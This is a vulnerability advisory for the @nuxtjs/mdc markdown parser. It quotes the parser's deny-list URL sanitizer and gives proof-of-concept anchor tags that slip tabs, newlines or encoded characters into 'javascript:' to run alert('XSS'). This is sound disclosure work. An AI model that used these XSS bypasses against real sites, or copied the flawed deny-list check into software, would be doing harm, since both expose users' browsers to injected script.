Summary
An unsafe parsing logic of the URL from markdown can lead to arbitrary JavaScript code due to a bypass to the existing guards around the javascript: protocol scheme in the URL.
Details
The parsing logic implement at https://github.com/nuxt-modules/mdc/blob/main/src/runtime/parser/utils/props.ts#L16 maintains a deny-list approach to filtering potential malicious payload. It does so by matching protocol schemes like javascript: and others.
Specifically, this is the code from the mdc library's parser that is not secure enough:
export const unsafeLinkPrefix = [
'javascript:',
'data:text/html',
'vbscript:',
'data:text/javascript',
'data:text/vbscript',
'data:text/css',
'data:text/plain',
'data:text/xml'
]
export const validateProp = (attribute: string, value: string) => {
if (attribute.startsWith('on')) {
return false
}
if (attribute === 'href' || attribute === 'src') {
return !unsafeLinkPrefix.some(prefix => value.toLowerCase().startsWith(prefix))
}
return true
}
These security guards can be bypassed by an adversarial that provides JavaScript URLs with HTML entities encoded via hex string.
PoC
The following URL payloads if provided to the markdown parsing library (such as through the usage of import { parseMarkdown } from '@nuxtjs/mdc/runtime';) will trigger the alert() dialog:
# ✅ This is correctly escaped by the parser
- XSS Attempt:
<a href="javascript:alert(1)"> this gets sanitizied, yay!</a>
# ❌ These are vulnerable and not escaped
- Bypass 1:
<a href="jav	ascript:alert('XSS');">Click Me 1</a>
- Bypass 2:
<a href="jav
ascript:alert('XSS');">Click Me 2</a>
- Bypass 3:
<a href="jav ascript:alert('XSS');">Click Me 3</a>
Impact
Users who consume this library and perform markdown parsing from unvalidated sources such as LLM generative text responses, user input and other untrusted sources could result in rendering vulnerable XSS anchor links.